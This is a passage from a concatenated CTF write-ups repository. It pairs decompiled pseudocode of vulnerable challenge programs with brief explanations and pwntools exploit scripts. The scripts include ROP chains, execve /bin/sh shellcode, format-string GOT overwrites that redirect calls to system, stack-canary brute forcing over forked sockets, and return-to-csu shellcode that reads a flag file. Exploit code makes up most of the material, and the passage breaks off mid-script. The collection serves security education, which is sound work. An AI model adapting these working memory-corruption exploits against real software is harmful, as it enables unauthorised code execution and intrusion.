_isoc99_scanf("%256s", &s); 83 | return strdup(&s); 84 | } 85 | 86 | FILE *load_id() 87 | { 88 | FILE *result; // rax 89 | const char *filename; // [rsp+8h] [rbp-8h] 90 | 91 | printf("Input your ID:"); 92 | _isoc99_scanf("%256s", &unk_602040); 93 | filename = change_id((const char *)&unk_602040); 94 | stream = fopen(filename, "r+"); 95 | result = stream; 96 | if ( !stream ) 97 | { 98 | result = fopen(filename, "w+"); 99 | stream = result; 100 | } 101 | return result; 102 | } 103 | 104 | void main(int64_t a1, char **a2, char **a3) 105 | { 106 | char *v3; // rax 107 | int64_t *v4; // [rsp-8h] [rbp-28h] 108 | int v5; // [rsp+Ch] [rbp-14h] 109 | const char *v6; // [rsp+10h] [rbp-10h] 110 | char *v7; // [rsp+18h] [rbp-8h] 111 | int64_t savedregs; // [rsp+20h] [rbp+0h] 112 | 113 | v4 = &savedregs; 114 | print_banner(); 115 | v6 = "%d"; 116 | load_id(); 117 | v7 = load_note(); 118 | print_menu(); 119 | while ( 1 ) 120 | { 121 | printf("> ", a2); 122 | a2 = (char **)&v5; 123 | if ( (signed int)_isoc99_scanf(v6, &v5) <= 0 ) 124 | break; 125 | switch ( v5 ) 126 | { 127 | case 1: 128 | printf("Note:", &v5); 129 | v7 = edit_note(); 130 | break; 131 | case 2: 132 | a2 = (char **)v7; 133 | printf("Note:%s\n", v7); 134 | break; 135 | case 3: 136 | save_note(v7); 137 | puts("Saved!"); 138 | break; 139 | case 4: 140 | fclose(stream); 141 | v3 = change_id((const char *)&unk_602040); 142 | unlink(v3); 143 | load_id(); 144 | puts("Done!"); 145 | break; 146 | case 5: 147 | if ( stream ) 148 | fclose(stream); 149 | exit(0); 150 | return; 151 | default: 152 | puts("Invalid choice"); 153 | break; 154 | } 155 | } 156 | exit(0); 157 | } 158 | -------------------------------------------------------------------------------- /ctfs/StarCTF/2018/warmup/README.md: -------------------------------------------------------------------------------- 1 | Introduction to how information leakage works. 2 | -------------------------------------------------------------------------------- /ctfs/StarCTF/2018/warmup/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | def leak(addr): 6 | p.sendline(str(addr)) 7 | p.recvuntil('for?\n') 8 | return int(p.recvuntil('name?').strip().split()[0], 16) 9 | 10 | with context.quiet: 11 | p = process('./program') 12 | 13 | ''' 14 | 0x4526a execve("/bin/sh", rsp+0x30, environ) 15 | constraints: 16 | [rsp+0x30] == NULL 17 | ''' 18 | 19 | write_off = 0xf72b0 20 | one_gadget_execve_off = 0x4526a 21 | write_got = 0x600fb0 22 | 23 | stack_cookie = leak(0x601030) 24 | 25 | print 'Stack Cookie: ' + hex(stack_cookie) 26 | 27 | p.sendline('A' * 24 + p64(stack_cookie) + 'B' * 8 + p64(0x4008b9)) 28 | 29 | write_addr = leak(write_got) 30 | 31 | print 'libc write: ' + hex(write_addr) 32 | 33 | libc_base = write_addr - write_off 34 | 35 | print 'libc base: ' + hex(libc_base) 36 | 37 | p.sendline('A' * 24 + p64(stack_cookie + 0x20) + 'B' * 8 + p64(libc_base + one_gadget_execve_off) + '\00' * 0x40) 38 | 39 | p.interactive() 40 | 41 | -------------------------------------------------------------------------------- /ctfs/StarCTF/2018/warmup/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/StarCTF/2018/warmup/program -------------------------------------------------------------------------------- /ctfs/StarCTF/2018/warmup/pseudocode.cc: -------------------------------------------------------------------------------- 1 | int64_t mem; 2 | 3 | int print_banner() 4 | { 5 | puts(s); 6 | puts(" # # #### ##### ######"); 7 | puts(" # # # # # #"); 8 | puts("### ### # # #####"); 9 | puts(" # # # # #"); 10 | puts(" # # # # # #"); 11 | puts(" #### # #"); 12 | puts(s); 13 | return puts("Let's warmup now!"); 14 | } 15 | 16 | ssize_t print_string(int a1, const char *a2) 17 | { 18 | size_t v2; // rax 19 | 20 | v2 = strlen(a2); 21 | return write(a1, a2, v2); 22 | } 23 | 24 | int64_t main(int64_t a1, char **a2, char **a3) 25 | { 26 | int64_t result; // rax 27 | char s; // [rsp+0h] [rbp-20h] 28 | int64_t *v5; // [rsp+8h] [rbp-18h] 29 | int v6; // [rsp+14h] [rbp-Ch] 30 | int64_t v7; // [rsp+18h] [rbp-8h] 31 | 32 | setbuf(stdin, 0LL); 33 | setbuf(stdout, 0LL); 34 | print_banner(); 35 | mem = (int64_t)malloc(8uLL); 36 | v7 = mem; 37 | memset(&s, 0, 8uLL); 38 | puts("What are you looking for?"); 39 | _isoc99_scanf("%zu", &v5); 40 | printf("%#zx\n", *v5); 41 | puts("What's your name?"); 42 | _isoc99_scanf("%s", &s); 43 | if ( v7 == mem ) 44 | { 45 | puts("Bye bye."); 46 | result = 0LL; 47 | } 48 | else 49 | { 50 | v6 = open("/dev/tty", 2); 51 | if ( v6 != -1 ) 52 | { 53 | print_string(v6, "[INFO] A hacker is coming!\n"); 54 | print_string(v6, "[INFO] Exiting...\n"); 55 | exit(1); 56 | } 57 | puts("Something is broken!"); 58 | result = 0LL; 59 | } 60 | return result; 61 | } 62 | -------------------------------------------------------------------------------- /ctfs/TAMUctf/2018/pwn5/README.md: -------------------------------------------------------------------------------- 1 | This challenge has a `stack overflow` vulnerability, by which you can overwrite the return address. Then, using `return oriented programing (ROP)`, you are able to spawn `/bin/sh`. 2 | -------------------------------------------------------------------------------- /ctfs/TAMUctf/2018/pwn5/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | with context.quiet: 6 | p = process('./program') 7 | 8 | p.sendline('/bin/sh') # first name 9 | p.sendline('') # last name 10 | p.sendline('') # major 11 | p.sendline('') # y/n 12 | 13 | p.sendline('2') # Change your major 14 | 15 | rop = p32(0x080733b0) # pop edx; pop ecx; pop ebx; ret; 16 | rop += p32(0x0) # edx == NULL 17 | rop += p32(0x0) # ecx == NULL 18 | rop += p32(0x080f1a20) # ebx == /bin/sh 19 | rop += p32(0x080bc396) # pop eax; ret; 20 | rop += p32(0xb) # eax == 0xb for execve 21 | rop += p32(0x08071005) # int 0x80 22 | 23 | p.sendline('A' * 0x1c + 'B' * 4 + rop) 24 | 25 | p.interactive() 26 | 27 | -------------------------------------------------------------------------------- /ctfs/TAMUctf/2018/pwn5/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/TAMUctf/2018/pwn5/program -------------------------------------------------------------------------------- /ctfs/TAMUctf/2019/pwn3/README.md: -------------------------------------------------------------------------------- 1 | This challenge has a `stack overflow` vulnerability. Basically, you can overwrite the return address with the address of your `shellcode`, by which you can spawn `/bin/sh` by calling `execve` system call. 2 | -------------------------------------------------------------------------------- /ctfs/TAMUctf/2019/pwn3/exploit.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | 3 | section .text 4 | global _start 5 | 6 | _start: 7 | jmp _binsh 8 | 9 | _execve: 10 | pop ebx ; "/bin/sh" 11 | xor ecx, ecx ; NULL 12 | xor edx, edx ; NULL 13 | mov eax, 11 ; syscall id for execve 14 | int 0x80 15 | 16 | _binsh: 17 | call _execve 18 | db "/bin/sh", 0x0 19 | 20 | -------------------------------------------------------------------------------- /ctfs/TAMUctf/2019/pwn3/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | with context.quiet: 6 | p = process('./program') 7 | 8 | buf_addr = int(p.recvuntil('!').strip().strip('!').split()[-1], 16) 9 | print 'buffer address: {}'.format(hex(buf_addr)) 10 | 11 | shellcode = '\xeb\x0c\x5b\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\xcd\x80\xe8\xef\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00' 12 | p.sendline(shellcode + 'A' * (0x12A - len(shellcode)) + 'B' * 4 + p32(buf_addr)) 13 | 14 | p.interactive() 15 | 16 | -------------------------------------------------------------------------------- /ctfs/TAMUctf/2019/pwn3/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/TAMUctf/2019/pwn3/program -------------------------------------------------------------------------------- /ctfs/TAMUctf/2019/pwn3/pseudocode.cc: -------------------------------------------------------------------------------- 1 | char *echo() 2 | { 3 | char s; // [esp+Eh] [ebp-12Ah] 4 | 5 | printf("Take this, you might need it on your journey %p!\n", &s); 6 | return gets(&s); 7 | } 8 | 9 | int main() 10 | { 11 | setvbuf(stdout, (char *)&dword_0 + 2, 0, 0); 12 | echo(); 13 | return 0; 14 | } 15 | -------------------------------------------------------------------------------- /ctfs/TAMUctf/2019/pwn5/README.md: -------------------------------------------------------------------------------- 1 | This challenge has a `stack overflow` vulnerability, by which you can overwrite the return address. Then, using `return to libc` (`ret2libc`), you are able to spawn `/bin/sh`. 2 | -------------------------------------------------------------------------------- /ctfs/TAMUctf/2019/pwn5/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | with context.quiet: 6 | p = process('./program') 7 | 8 | payload = p32(0x804ee30) # system 9 | payload += p32(0) # garbage 10 | payload += p32(0x80bc140) # /bin/sh 11 | 12 | p.sendline('/' + 'A' * 12 + 'B' * 4 + payload) 13 | 14 | p.interactive() 15 | 16 | -------------------------------------------------------------------------------- /ctfs/TAMUctf/2019/pwn5/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/TAMUctf/2019/pwn5/program -------------------------------------------------------------------------------- /ctfs/TAMUctf/2019/pwn5/pseudocode.cc: -------------------------------------------------------------------------------- 1 | int run_cmd(char a1) 2 | { 3 | char v2; // [esp+6h] [ebp-12h] 4 | 5 | snprintf(&v2, 7, "ls %s", a1); 6 | printf("Result of %s:\n", (unsigned int)&v2); 7 | return system(&v2); 8 | } 9 | 10 | int laas() 11 | { 12 | int result; // eax 13 | char s; // [esp+Bh] [ebp-Dh] 14 | 15 | puts("ls as a service (laas)(Copyright pending)"); 16 | puts("Version 2: Less secret strings and more portable!"); 17 | puts("Enter the arguments you would like to pass to ls:"); 18 | gets(&s); 19 | if ( strchr(&s, 47) ) 20 | result = puts("No slashes allowed"); 21 | else 22 | result = run_cmd((unsigned int)&s); 23 | return result; 24 | } 25 | 26 | int main() 27 | { 28 | setvbuf(stdout, 2, 0, 0); 29 | while ( 1 ) 30 | laas(); 31 | } 32 | -------------------------------------------------------------------------------- /ctfs/UIUCTF/2018/how2heap/README.md: -------------------------------------------------------------------------------- 1 | This is a good challenge for understanding how to exploit `x86_64` binaries with `Full RELRO`, `Canary`, `NX`, `PIE`, and `ASLR` enabled. 2 | -------------------------------------------------------------------------------- /ctfs/UIUCTF/2018/how2heap/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | def line_up_characters(): 6 | p.sendline('0') 7 | return p.recvuntil('Choice: ') 8 | 9 | def do_head_count(): 10 | p.sendline('1') 11 | return p.recvuntil('Choice: ') 12 | 13 | def make_new_character(name, age, is_exploit=False): 14 | p.sendline('2') 15 | p.sendline(name) 16 | p.sendline(str(age)) 17 | 18 | if not is_exploit: 19 | return p.recvuntil('Choice: ') 20 | 21 | def delete_old_character(): 22 | p.sendline('3') 23 | return p.recvuntil('Choice: ') 24 | 25 | def leak(): 26 | make_new_character('aaaa', 1) 27 | make_new_character('bbbb', 1) 28 | 29 | delete_old_character() 30 | delete_old_character() 31 | delete_old_character() 32 | 33 | make_new_character('cccc', -10) 34 | 35 | line_up_characters() 36 | 37 | delete_old_character() 38 | 39 | output = delete_old_character() 40 | 41 | for line in output.split('\n'): 42 | if 'has been deleted.' in line: 43 | addr = line.replace(', the oldest character, has been deleted.', '') 44 | return u64((addr + '\00' * 8)[0:8]) 45 | 46 | return None 47 | 48 | def exploit(): 49 | make_new_character('aaaa', 1) 50 | 51 | delete_old_character() 52 | delete_old_character() 53 | 54 | make_new_character('cccc', -3) 55 | 56 | make_new_character(p64(one_gadget_addr), 1, True) 57 | 58 | with context.quiet: 59 | p = process('./program', env = {'LD_PRELOAD': './libc-2.26.so'}) 60 | 61 | p.recvuntil('Choice: ') 62 | 63 | # leak an address on stack to de-randomize 64 | stdout_addr = leak() 65 | 66 | print 'stdout: ' + hex(stdout_addr) 67 | 68 | libc_base = stdout_addr - 0x3db720 69 | 70 | print 'libc base: ' + hex(libc_base) 71 | 72 | ''' 73 | 0x47c9a execve("/bin/sh", rsp+0x30, environ) 74 | constraints: 75 | [rsp+0x30] == NULL 76 | ''' 77 | 78 | one_gadget_addr = libc_base + 0x47c9a 79 | 80 | print 'one gadget: ' + hex(one_gadget_addr) 81 | 82 | # clean up and make it ready for exploitation 83 | do_head_count() 84 | delete_old_character() 85 | 86 | # replace return address of "make new character" with one gadget address 87 | exploit() 88 | 89 | p.interactive() 90 | 91 | -------------------------------------------------------------------------------- /ctfs/UIUCTF/2018/how2heap/libc-2.26.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/UIUCTF/2018/how2heap/libc-2.26.so -------------------------------------------------------------------------------- /ctfs/UIUCTF/2018/how2heap/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/UIUCTF/2018/how2heap/program -------------------------------------------------------------------------------- /ctfs/UTCTF/2019/babyecho/README.md: -------------------------------------------------------------------------------- 1 | There is a `format string` vulnerability that allows you to leak libc addresses and overwrite `GOT` entry in order to execute `/bin/sh`. Using `libc database` is required: https://github.com/niklasb/libc-database -------------------------------------------------------------------------------- /ctfs/UTCTF/2019/babyecho/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | with context.quiet: 6 | p = process('./program', env = {'LD_PRELOAD': './ld-2.23.so ./libc-2.23.so'}) 7 | 8 | p.recvuntil('Give me a string to echo back.\n') 9 | 10 | # overwrite exit@GOT with 0x8048575 (only the lowest two bytes needs to be overwritten) 11 | exit_got = 0x804a01c 12 | p.sendline('AA{}%{}x%11$hn'.format(p32(exit_got), u16(p32(0x8048575)[0:2]) - 9)) 13 | 14 | p.recvuntil('\n') 15 | 16 | puts_got = 0x804a018 17 | setbuf_got = 0x804a00c 18 | 19 | # leak setbuf@GOT 20 | p.sendline('AA{}%12$sBBBB'.format(p32(setbuf_got))) 21 | setbuf_addr = u32(p.recvuntil('BBBB\n')[6:10]) 22 | print 'setbuf: {}'.format(hex(setbuf_addr)) 23 | 24 | # leak puts@GOT 25 | p.sendline('AA{}%13$sBBBB'.format(p32(puts_got))) 26 | puts_addr = u32(p.recvuntil('BBBB\n')[6:10]) 27 | print 'puts: {}'.format(hex(puts_addr)) 28 | 29 | # using libc database, we can detect the version of libc, which is 30 | # ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) 31 | libc_base = puts_addr - 0x5f140 32 | print 'libc base: {}'.format(hex(libc_base)) 33 | 34 | # overwrite printf@GOT with system 35 | printf_got = 0x804a010 36 | system_addr = libc_base + 0x3a940 37 | print 'system: {}'.format(hex(system_addr)) 38 | p.sendline('AA{}{}%{}x%14$hn%{}x%15$hn'.format(p32(printf_got), p32(printf_got + 2), \ 39 | u16(p32(system_addr)[0:2]) - 10, \ 40 | u16(p32(system_addr)[2:]) - u16(p32(system_addr)[0:2]))) 41 | 42 | p.recvuntil('\n') 43 | 44 | # we can pass any command to system 45 | p.sendline('cat flag.txt') 46 | 47 | p.interactive() 48 | 49 | -------------------------------------------------------------------------------- /ctfs/UTCTF/2019/babyecho/flag.txt: -------------------------------------------------------------------------------- 1 | utflag{gassssssssssp3r_mad3_m3_wr1t3_th1s} 2 | -------------------------------------------------------------------------------- /ctfs/UTCTF/2019/babyecho/ld-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/UTCTF/2019/babyecho/ld-2.23.so -------------------------------------------------------------------------------- /ctfs/UTCTF/2019/babyecho/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/UTCTF/2019/babyecho/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/UTCTF/2019/babyecho/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/UTCTF/2019/babyecho/program -------------------------------------------------------------------------------- /ctfs/UTCTF/2019/babyecho/pseudocode.cc: -------------------------------------------------------------------------------- 1 | int main() 2 | { 3 | char s; // [esp+1Ah] [ebp-3Eh] 4 | unsigned int v4; // [esp+4Ch] [ebp-Ch] 5 | 6 | v4 = __readgsdword(0x14u); 7 | setbuf(stdin, 0); 8 | setbuf(stdout, 0); 9 | puts("Give me a string to echo back."); 10 | fgets(&s, 0x32, stdin); 11 | printf(&s); 12 | exit(0); 13 | } 14 | -------------------------------------------------------------------------------- /ctfs/WPICTF/2018/forker.level1/README.md: -------------------------------------------------------------------------------- 1 | `return-to-csu: A New Method to Bypass 64-bit Linux ASLR` BlackHat talk is a must-read (https://www.blackhat.com/docs/asia-18/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR.pdf). 2 | 3 | There are two useful gadgets in all the binaries that are not being reported by ROP tools such as `ropper2`. 4 | -------------------------------------------------------------------------------- /ctfs/WPICTF/2018/forker.level1/exploit.asm: -------------------------------------------------------------------------------- 1 | bits 64 2 | 3 | section .text 4 | global _start 5 | 6 | _start: 7 | jmp filename 8 | 9 | _open: ; fd = open(filename, O_RDONLY) 10 | pop rdi ; filename's address 11 | mov rsi, 0x0 ; O_RDONLY 12 | mov rax, 0x2 ; syscall id for open 13 | syscall 14 | 15 | jmp buffer 16 | 17 | _read: ; read(fd, buffer, 0x100) 18 | mov rdi, rax ; fd 19 | pop rsi ; buffer's address 20 | push rsi ; buffer's address to be used by write 21 | mov rdx, 0x100 ; size 22 | mov rax, 0x0 ; syscall id for read 23 | syscall 24 | 25 | _write: ; write(4, buffer, 0x100) 26 | mov rdi, 0x4 ; socket 27 | pop rsi ; buffer's address 28 | mov rdx, 0x100 ; size 29 | mov rax, 0x1 ; syscall id for write 30 | syscall 31 | 32 | jmp _exit 33 | 34 | filename: 35 | call _open 36 | db "flag.txt", 0x0 37 | 38 | buffer: 39 | call _read 40 | db "" 41 | 42 | _exit: 43 | 44 | -------------------------------------------------------------------------------- /ctfs/WPICTF/2018/forker.level1/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | with context.quiet: 6 | program = subprocess.Popen('./program', shell=True) 7 | 8 | p = remote('localhost', 31337) 9 | 10 | ''' 11 | look at "return-to-csu: A New Method to Bypass 64-bit Linux ASLR" Blackhat talk 12 | https://www.blackhat.com/docs/asia-18/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR.pdf 13 | 14 | 400bf0: 4c 89 fa mov rdx,r15 15 | 400bf3: 4c 89 f6 mov rsi,r14 16 | 400bf6: 44 89 ef mov edi,r13d 17 | 400bf9: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 18 | 400bfd: 48 83 c3 01 add rbx,0x1 19 | 400c01: 48 39 dd cmp rbp,rbx 20 | 400c04: 75 ea jne 400bf0 <__libc_csu_init+0x40> 21 | 400c06: 48 83 c4 08 add rsp,0x8 22 | 400c0a: 5b pop rbx 23 | 400c0b: 5d pop rbp 24 | 400c0c: 41 5c pop r12 25 | 400c0e: 41 5d pop r13 26 | 400c10: 41 5e pop r14 27 | 400c12: 41 5f pop r15 28 | 400c14: c3 ret 29 | ''' 30 | 31 | # we should be careful to replace the buffer counter with a proper value 32 | payload = 'A' * 76 + '\x4d' + '\x00' * 3 + 'B' * 8 33 | 34 | # r12 + rbx * 8 = 0x602050 (read's GOT) 35 | 36 | payload += p64(0x400c06) # add rsp, 0x8; pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret 37 | payload += p64(0) # garbage to skip (add rsp, 0x8) 38 | payload += p64(0) # rbx = 0 39 | payload += p64(0x1) # rbp = 1 (in order to pass the "add rbx, 0x1; cmp rbp, rbx") 40 | payload += p64(0x602050) # set r12 = 0x602050 (read's GOT) in order to met "r12 + rbx * 8 == 0x602050" 41 | 42 | # read(fd, .bss, 0x100) 43 | payload += p64(0x4) # r13 == rdi == fd == 0x4 44 | payload += p64(0x6020a0) # r14 == rsi == .bss address == 0x6020a0 45 | payload += p64(0x100) # r15 == rdx == 0x100 (size) 46 | 47 | payload += p64(0x400bf0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call QWORD PTR [r12+rbx*8] ... 48 | 49 | payload += p64(0) * 7 # garbage until reach the ret 50 | 51 | payload += p64(0x6020a0) # jump to .bss to run the shellcode 52 | 53 | p.sendline(payload) 54 | 55 | ''' 56 | shell code to read the flag and write it to socket 57 | ''' 58 | 59 | p.sendline('\xeb\x34\x5f\xbe\x00\x00\x00\x00\xb8\x02\x00\x00\x00\x0f\x05\xeb\x33\x48\x89\xc7\x5e\x56\xba\x00\x01\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x04\x00\x00\x00\x5e\xba\x00\x01\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xeb\x13\xe8\xc7\xff\xff\xff\x66\x6c\x61\x67\x2e\x74\x78\x74\x00\xe8\xc8\xff\xff\xff') 60 | 61 | program.terminate() 62 | p.interactive() 63 | 64 | -------------------------------------------------------------------------------- /ctfs/WPICTF/2018/forker.level1/flag.txt: -------------------------------------------------------------------------------- 1 | FLAG{xxxxxxxxxxxxxxxxxxxx} 2 | 3 | -------------------------------------------------------------------------------- /ctfs/WPICTF/2018/forker.level1/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/WPICTF/2018/forker.level1/program -------------------------------------------------------------------------------- /ctfs/WPICTF/2018/forker.level1/pseudocode.cc: -------------------------------------------------------------------------------- 1 | int check_password(int a1) 2 | { 3 | int v1; // eax 4 | char buf; // [rsp+1Fh] [rbp-51h] 5 | char s1[76]; // [rsp+20h] [rbp-50h] 6 | int v5; // [rsp+6Ch] [rbp-4h] 7 | 8 | dprintf(a1, "Please enter the correct password to get my secret ltc info\nPassword:"); 9 | buf = 0; 10 | v5 = 0; 11 | while ( read(a1, &buf, 1uLL) && buf != 10 ) 12 | { 13 | v1 = v5++; 14 | s1[v1] = buf; 15 | } 16 | return strncmp(s1, "INTERNET_FUNNY_MUNNY", 64uLL) == 0; 17 | } 18 | 19 | int main() 20 | { 21 | int optval; // [rsp+Ch] [rbp-34h] 22 | struct sockaddr v4; // [rsp+10h] [rbp-30h] 23 | struct sockaddr addr; // [rsp+20h] [rbp-20h] 24 | socklen_t addr_len; // [rsp+30h] [rbp-10h] 25 | int v7; // [rsp+34h] [rbp-Ch] 26 | socklen_t len; // [rsp+38h] [rbp-8h] 27 | int fd; // [rsp+3Ch] [rbp-4h] 28 | 29 | fd = socket(2, 1, 0); 30 | addr.sa_family = 2; 31 | *(int *)&addr.sa_data[2] = htonl(0); 32 | *(_WORD *)addr.sa_data = htons(31337u); 33 | len = 16; 34 | optval = 1; 35 | if ( setsockopt(fd, 1, 2, &optval, 4u) < 0 ) 36 | { 37 | puts("Unable to set reusable?"); 38 | exit(1); 39 | } 40 | if ( bind(fd, &addr, len) ) 41 | { 42 | puts("Unable to bind"); 43 | exit(1); 44 | } 45 | if ( listen(fd, 5) ) 46 | { 47 | puts("Unable to listen"); 48 | exit(2); 49 | } 50 | signal(17, 1); 51 | while ( 1 ) 52 | { 53 | puts("server waiting"); 54 | addr_len = 16; 55 | v7 = accept(fd, &v4, &addr_len); 56 | puts("accepted client"); 57 | if ( !fork() ) 58 | break; 59 | close(v7); 60 | } 61 | close(fd); 62 | if ( (unsigned int)check_password(v7) ) 63 | dprintf(v7, "You got the password right!\nMy litecoin address is %s", "LNpECGn9in6BGC8eaK87QawjzAXaWMht2b"); 64 | else 65 | dprintf(v7, "You failed to get a correct password!\n"); 66 | close(v7); 67 | exit(0); 68 | } 69 | -------------------------------------------------------------------------------- /ctfs/WPICTF/2018/forker.level2/README.md: -------------------------------------------------------------------------------- 1 | In this challenge, you can leak `stack canary` with brute force. The lesson-learned is that `stack canary` is generated at the program startup and is being re-used for all the function calls in that program. The interesting point is that it is also being reused in the `child process` when we use `fork`. Basically, you can brute force the stack canary one-byte at a time without the value being changed. 2 | -------------------------------------------------------------------------------- /ctfs/WPICTF/2018/forker.level2/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | import struct 5 | 6 | with context.quiet: 7 | payload = 'INTERNET_FUNNY_MUNNY\x00' + 'A' * (72 - 21) 8 | canary = ['\x00'] * 8 9 | 10 | for i in range(8): 11 | for ch in range(256): 12 | if ch == 10: 13 | continue 14 | 15 | p = remote('localhost', 31337) 16 | 17 | p.sendline(payload + chr(ch)) 18 | 19 | time.sleep(0.1) 20 | 21 | if 'LNpECGn9in6BGC8eaK87QawjzAXaWMht2b' in p.recv(): 22 | canary[i] = chr(ch) 23 | payload += chr(ch) 24 | break 25 | 26 | print 'Partial Canary = {}'.format(hex(struct.unpack(' /dev/null 4 | 5 | ./program > /dev/null 2>&1 & 6 | 7 | ./exploit.py 8 | 9 | killall -9 program 10 | 11 | -------------------------------------------------------------------------------- /ctfs/WPICTF/2018/forker.level2/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/WPICTF/2018/forker.level2/program -------------------------------------------------------------------------------- /ctfs/WPICTF/2018/forker.level2/pseudocode.cc: -------------------------------------------------------------------------------- 1 | int check_password(int client_sockfd) 2 | { 3 | char *v1; // rbx 4 | char newliner; // [rsp+Fh] [rbp-79h] 5 | char pwbuffer[64]; // [rsp+10h] [rbp-78h] 6 | uint64_t v5; // [rsp+58h] [rbp-30h] 7 | 8 | dprintf(client_sockfd, "Please enter the correct password to get my secret ltc info\nPassword:"); 9 | v1 = pwbuffer; 10 | for ( newliner = 0; read(client_sockfd, &newliner, 1uLL) && newliner != 10; *v1++ = newliner ) 11 | ; 12 | return memcmp(pwbuffer, "INTERNET_FUNNY_MUNNY", 0x15uLL) == 0; 13 | } 14 | 15 | int main() 16 | { 17 | int v3; // ebx 18 | int v4; // ebp 19 | int client_len; // [rsp+8h] [rbp-60h] 20 | int reuseon; // [rsp+Ch] [rbp-5Ch] 21 | sockaddr_in server_address; // [rsp+10h] [rbp-58h] 22 | sockaddr_in client_address; // [rsp+20h] [rbp-48h] 23 | uint64_t v9; // [rsp+38h] [rbp-30h] 24 | 25 | v3 = socket(2, 1, 0); 26 | *(int64_t *)&server_address.sin_family = 0x697A0002LL; 27 | reuseon = 1; 28 | if ( setsockopt(v3, 1, 2, &reuseon, 4u) >= 0 ) 29 | { 30 | if ( bind(v3, (const struct sockaddr *)&server_address, 0x10u) ) 31 | { 32 | puts("Unable to bind"); 33 | exit(1); 34 | } 35 | if ( !listen(v3, 5) ) 36 | { 37 | signal(17, 1); 38 | while ( 1 ) 39 | { 40 | puts("server waiting"); 41 | client_len = 16; 42 | v4 = accept(v3, (struct sockaddr *)&client_address, (socklen_t *)&client_len); 43 | puts("accepted client"); 44 | if ( !fork() ) 45 | break; 46 | close(v4); 47 | } 48 | close(v3); 49 | if ( check_password(v4) ) 50 | dprintf(v4, "You got the password right!\nMy litecoin address is %s", "LNpECGn9in6BGC8eaK87QawjzAXaWMht2b"); 51 | else 52 | dprintf(v4, "You failed to get a correct password!\n"); 53 | close(v4); 54 | exit(0); 55 | } 56 | puts("Unable to listen"); 57 | exit(2); 58 | } 59 | puts("Unable to set reusable?"); 60 | exit(1); 61 | } 62 | -------------------------------------------------------------------------------- /ctfs/WhiteHat/2018/Quals/pwn02/README.md: -------------------------------------------------------------------------------- 1 | In `WhiteHat Grand Prix 2018 Quals - pwn02 (BookStore)` challenge, there is a `null byte poisoning` aka `off-by-one overflow` aka `null byte overflow` vulnerability. Using this vulnerability, we can create the `overlapping chunks` situation (by zeroing out PREV_INUSE bit), which enables us to leak libc addresses and overwrite a sensitive function pointer with `system` address (spawn `/bin/sh`). 2 | 3 | This is a good example of `Heap Exploitation` challenge to understand how to exploit `x86_64` binaries with `Canary`, `Full RELRO`, `FORTIFY`, `NX`, and `ASLR` enabled in presence of `tcache` in `glibc-2.27`. 4 | -------------------------------------------------------------------------------- /ctfs/WhiteHat/2018/Quals/pwn02/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | def add_book(title, brief_size, brief, ref_title, best_selling): 6 | p.sendlineafter('Your choice:', '1') 7 | p.sendafter('Title:', title) 8 | p.sendlineafter('Enter brief size:', str(brief_size)) 9 | p.sendafter('Enter brief:', brief) 10 | p.sendafter('Reference book title:', ref_title) 11 | p.sendlineafter('Best Selling? (Y/N)', best_selling) 12 | 13 | def edit_book(old_title, new_title, brief_size, brief, best_selling): 14 | p.sendlineafter('Your choice:', '2') 15 | p.sendafter('Old title:', old_title) 16 | p.sendafter('New title:', new_title) 17 | 